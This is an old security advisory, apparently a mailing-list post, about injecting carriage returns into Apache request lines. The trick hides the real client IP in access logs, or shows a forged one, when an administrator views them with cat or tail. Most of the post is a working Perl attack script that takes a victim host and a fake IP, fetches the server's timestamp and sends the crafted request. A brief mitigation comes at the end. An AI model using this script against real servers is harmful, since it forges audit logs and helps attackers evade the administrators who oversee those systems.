Hidden requests to Apache

["smiler" <smiler () vxd org>]

----------Intro----------

Hi all ! Thanx to war () genhex org and zav () genhex org for discussing this
issue and helping on getting ideas about this issue with their imagination
!! :)
Don´t know if this has been brought before.
It´s possible to "cheat" a Apache SysAdministrator and make him think that
his server didn´t log a HTTP request or make him think that a request has
been made by another Ip address.
This "cheating" is only valid when the log is displayed on the screen using
common unix utils as cat, tail, grep, etc...
This will not work with the kind of sysadmin that edit the logs using vi or
even print them to read at night on bed eh eh :-)
I am not sure if this can be considered as a bug or as a feature (?) but in
any case it will surely lead apache sysadmins into mistake !!

----------Technique----------

To make a request and to make it seem like it came from NO IP ADDRESS at
all, the request should be made as this :

GET / HTTP/1.0 \r\r\n

In this case APACHE will print in the log file the carriage return
character. So when we try to tail the access_log file it will be shown in
the screen as :

" 414 3461.251 - - [24/Oct/2001:18:58:18 +0100] "GET / HTTP/1.0

A normal line would be :

127.0.0.1 - - [24/Oct/2001:19:00:32 +0100] "GET / HTTP/1.0" 200 164

The normal line output will help us to understand that what happens is cat
made a carriage return after the HTTP/1.0 and printed the rest of the log
over the Ip Address field.
We can also make it look like the request came from another Ip address, and
this is preferable because like this the SysAdmin will see no apparent
strange behaviour in the logfile. Just be carefull with the timestamp !!
So the request should be :

GET / HTTP/1.0 \r10.0.0.1 - - [24/Oct/2001:19:00:32 +0100] "GET /
HTTP/1.0\r\n

And the logfile will appear like this :

10.0.0.1 - - [24/Oct/2001:19:00:32 +0100] "GET / HTTP/1.0" 200 164

This is a perfect log entry and nobody can suspect on it :-)

----------The Warez----------
#!/usr/bin/perl
#
# smiler () vxd org war () genhex org zav () genhex org
# \x18/\xa/\x07d1 ++351 Rulez
#
# This script will make a "hidden" request to a Apache Server when the log
file is viewed using cat grep tail ...
# The script sends a carriage return character after the HTTP/1.0 and then
it makes a fake entry with the IP supplied in argv
# and it inserts a time-stamp similar to the one that server is using
currently, we get this by making a get request to the
# server before our special *g* GET, though we can´t control the time zone
of the server. So the time-zone may
# vary. Tested in ALL apache versions.

############################################################################
#######################################################
# Thoughts : It would be better to send escape characters with move_forward
codes after the \r and move over the real
# server´s time stamp !! Anyone ? How do log analyzers deal with this stuff
? Anyone ?
############################################################################
#######################################################

use Socket;
use strict;
my $data_sacada;

######check argv
if ($#ARGV != 3) {
print qq~
Geee it´s running !! kewl :)))
Usage : ./apache_log.pl <VICTIM_HOST> <PORT> <FILE_TO_GET> <FAKE_IP>
Example Usage : apache_log.pl victimsite.victimsite.biz 80 /index.html
255.255.255.255
~; exit;}

######get the values
my $host = $ARGV[0];
my $port = $ARGV[1];
my $target = inet_aton($host);
my $file_to_get= $ARGV[2];
my $fake_ip = $ARGV[3];
get_time();

######prepare request
my $envia="GET /$file_to_get HTTP/1.0 \r$fake_ip - - $data_sacada \"GET /
HTTP/1.0\r\n\r\n";
my @resultados=sendraw($envia);
print  @resultados;

###### Sendraw - thanks RFP rfp () wiretrip net ######
sub sendraw {   # this saves the whole transaction anyway
        my %args;
        my ($pstr)=@_;
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;
                        print STDOUT "." if(defined $args{X});}
                select(STDOUT); close(S); return @in;
        } else { die("Can't connect...\n"); }
}

###### Get the server time b4 sending the hidden request ######
sub get_time    {
        my $req="GET / HTTP/1.0\n\n";
        my $data;
        my @res=sendraw($req);
        my $wday;
        my $day;
        my $mon;
        my $year;
        my $hour;
        my $tz;
        my $line;
        foreach $line (@res)    {
                if ($line =~ /Date/)    {
                $data = $line;
                $data =~ s/Date: //g;
                ($wday,$day,$mon,$year,$hour,$tz)=split(/ /,$data);
                $data_sacada="[".$day."/".$mon."/".$year.":".$hour."
+0000]";
                }
        }
}

----------Solution----------

Use 'vi' to check your logs or cat your log using :

perl -e 'open(FH,"access_log");while(<FH>){$_=~s/[\r|\b|\x27]//g;print $_}'